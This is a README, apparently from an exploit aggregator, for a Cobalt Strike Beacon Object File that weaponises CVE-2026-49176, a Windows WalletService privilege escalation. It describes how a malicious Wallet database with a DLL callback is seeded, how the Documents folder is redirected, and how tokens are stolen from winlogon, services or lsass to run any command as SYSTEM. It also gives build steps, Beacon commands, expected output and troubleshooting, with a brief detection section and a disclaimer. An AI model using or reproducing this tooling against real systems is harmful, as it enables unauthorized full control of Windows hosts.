Share
## https://sploitus.com/exploit?id=C28553BE-4C45-5EF1-858E-239BEE31A10F
# CVE-2026-49176 Cobalt Strike BOF

Cobalt Strike **Beacon Object File (BOF)** for local privilege escalation via Windows **WalletService** (**CVE-2026-49176**, fixed July 2026).

From a medium-integrity (standard user) Beacon, this tool stages a malicious Wallet ESE database, redirects Documents, triggers WalletService, and runs a **caller-specified command line** as **`NT AUTHORITY\SYSTEM`** on the **interactive desktop**.

> **BOF-only tree.**  
> Original standalone PowerShell PoC: [DavidCarliez/CVE-2026-49176_LPE_POC](https://github.com/DavidCarliez/CVE-2026-49176_LPE_POC). Same vulnerability root cause; different delivery and post-SYSTEM process launch.

---

## Disclaimer

For authorized security research, education, and defensive validation only.

---

## Vulnerability (shared with original PoC)

WalletService resolves `FOLDERID_Documents` while impersonating the caller, then reverts to **LocalSystem** before opening:

```text
\Wallet\wallet.db
```

A standard user can seed that database with an ESE **user-defined default** callback (`PATH\payload.dll!Export`), point Documents at a controlled directory, and call WinRT `WalletManager.RequestStoreAsync` / `GetItemsAsync` so the service loads the DLL **as SYSTEM**.

Write-up: [CVE-2026-49176 Exploit Development: WalletService to SYSTEM](https://davidcarliez.github.io/blog/cve-2026-49176-walletservice-to-system/)

---

## BOF vs original PoC β€” privilege-escalation path

### Same: how SYSTEM code execution is obtained

```text
Standard user
  β†’ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
  β†’ SHSetKnownFolderPath(FOLDERID_Documents) β†’ staging root
  β†’ trigger WalletService (WinRT RequestStore / GetItems)
  β†’ service opens DB as LocalSystem β†’ LoadLibrary(callback DLL)
  β†’ attacker code runs as SYSTEM   ← LPE complete
```

| Stage | Original PoC | This BOF |
|-------|--------------|----------|
| Seed ESE DB | `wallet_ese_seed.exe` | In-BOF `Jet*A` |
| Redirect Documents | `documents_path.exe` | In-BOF `SHGet/SetKnownFolderPath` |
| Trigger Wallet | PowerShell WinRT | In-BOF `RoGetActivationFactory` |
| Callback DLL | `wallet_callback_shell.dll` | `wallet_callback.dll` |

### Different: interactive SYSTEM process after the callback

WalletService often uses a **filtered SYSTEM token** (no usable `SeAssignPrimaryToken` / `SeImpersonate`). Direct `CreateProcess*` β†’ **1314**.

| | Original PoC | This BOF |
|--|--------------|----------|
| Goal process | Hard-coded `cmd.exe` | **Operator-supplied command line** |
| Primary method | Temp **service** β†’ `shell_broker.exe` β†’ `CreateProcessAsUserW` | **Token steal** from `winlogon` / `services` / `lsass` β†’ spawn |
| Fallback | None | SCM + `cmd.exe /c "shell_broker.exe" "result.txt"` |

```text
Original PoC (post-SYSTEM):
  DLL β†’ CreateService(shell_broker.exe) β†’ broker β†’ fixed cmd.exe

This BOF (post-SYSTEM):
  DLL β†’ steal winlogon/services/lsass token β†’ spawn 
     β†’ else CreateService(cmd /c broker) β†’ broker β†’ spawn 
```

---

## Features

- Single Beacon command for any command/file as SYSTEM on the active desktop
- Full chain in-process: stage β†’ seed β†’ redirect β†’ trigger β†’ wait β†’ restore Documents
- Packs `wallet_callback.dll` + `shell_broker.exe` via `bof_pack("bbZ")`
- Multi-strategy post-SYSTEM spawn + `result.txt` diagnostics
- x64 only

---

## Requirements

| Item | Requirement |
|------|-------------|
| Beacon | **x64**, medium integrity (**non-elevated**) |
| Target | Vulnerable WalletService (pre–July 2026 patch) |
| CS | Cobalt Strike 4.x with BOF support |
| Build | VS 2019/2022 C++ + Windows 10 SDK (`esent.h`, WinRT) |

---

## Layout

```text
bof/
β”œβ”€β”€ README.md
β”œβ”€β”€ entry.cpp                 # BOF orchestrator (go)
β”œβ”€β”€ bofdefs.h / beacon.h
β”œβ”€β”€ beacon-debug.h
β”œβ”€β”€ cve2026_49176.cna
β”œβ”€β”€ build.bat
β”œβ”€β”€ payload/
β”‚   β”œβ”€β”€ wallet_callback.c
β”‚   └── shell_broker.c
β”œβ”€β”€ bin/
β”‚   β”œβ”€β”€ BOF/cve2026_49176.x64.o
β”‚   └── payload/
β”‚       β”œβ”€β”€ wallet_callback.dll
β”‚       └── shell_broker.exe
└── resources/strip_bof.ps1
```

---

## Build

```cmd
cd bof
build.bat
```

| Command | Output |
|---------|--------|
| `build.bat` / `build.bat both` | DLL + broker + x64 BOF |
| `build.bat payload` | DLL + broker only |
| `build.bat clean` | Remove artifacts |

```text
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
```

Edit `VCVARS64` paths in `build.bat` if VS is non-default.  
Critical flags: `/DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od` (CS BOF linker safety).

---

## Usage

### Load

Cobalt Strike β†’ **Scripts** β†’ **Load** β†’ `cve2026_49176.cna`  
(Reload after every rebuild.)

### Commands

```text
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
```

- No outer quotes if the path has no spaces.
- Optional menu: Beacon β†’ **CVE-2026-49176** β†’ **Run command as SYSTEM...**

### Staging on target

```text
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176__\
β”œβ”€β”€ Wallet\wallet.db
└── payload\
    β”œβ”€β”€ wallet_callback.dll
    β”œβ”€β”€ shell_broker.exe
    β”œβ”€β”€ command.txt          # UTF-16 LE
    └── result.txt
```

### Packing

```text
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
```

---

## Expected output

### Task line

```text
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
```

### Success (illustrative)

```text
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
```

`detail=` may be `winlogon`, `services`, `lsass`, or a broker path.

### Common failures

| Log | Meaning |
|-----|---------|
| `JetAddColumn: -1003` | ESE parameter issue |
| `error=1314` | Filtered SYSTEM; need token steal / broker |
| `STEAL_FAIL error=5` | Cannot open target process/token |
| `StartService error=32` | Sharing violation (mitigated via cmd wrapper) |
| `detail=all_methods` | All post-SYSTEM strategies failed |
| Linker `Unknown symbol '??_C@_...'` | Bad BOF build flags; rebuild with `build.bat` |

Documents is restored even on failure when redirect succeeded.

---

## Architecture

```text
cve2026_49176.cna
  └─ inline-execute(entry.o, go, bbZ)
        entry.cpp
          β”œβ”€ stage files under %LOCALAPPDATA%
          β”œβ”€ Jet*A seed wallet.db
          β”œβ”€ SHSetKnownFolderPath(Documents)
          β”œβ”€ WinRT WalletManager trigger
          └─ wait result.txt + restore Documents

wallet_callback.dll (WalletService, SYSTEM)
  β”œβ”€ steal winlogon / services / lsass token β†’ spawn command
  └─ fallback: CreateService(cmd /c shell_broker)

shell_broker.exe
  └─ command.txt β†’ CreateProcessAsUser (interactive session)
```

---

## Detection surface

- Documents known-folder change
- `%LOCALAPPDATA%\CVE-2026-49176-BOF\*` + `wallet.db` + callback DLL
- WalletService loading user-writable DLL
- `OpenProcess` / token APIs against winlogon/lsass/services
- Short-lived services `CVE49176_*`
- `CreateProcessAsUserW` / `CreateProcessWithTokenW` into interactive sessions

---

## Limitations

- x64 only; unpatched WalletService required
- Wallet WinRT API may be unavailable/deprecated on some builds
- Stage directory not auto-deleted
- ESE/WinRT run **inside Beacon** (crash risk vs process-isolated original PoC)

---

## Related

| Link | Description |
|------|-------------|
| [DavidCarliez/CVE-2026-49176_LPE_POC](https://github.com/DavidCarliez/CVE-2026-49176_LPE_POC) | Original standalone LPE PoC (upstream research PoC) |
| [Write-up](https://davidcarliez.github.io/blog/cve-2026-49176-walletservice-to-system/) | Original research article |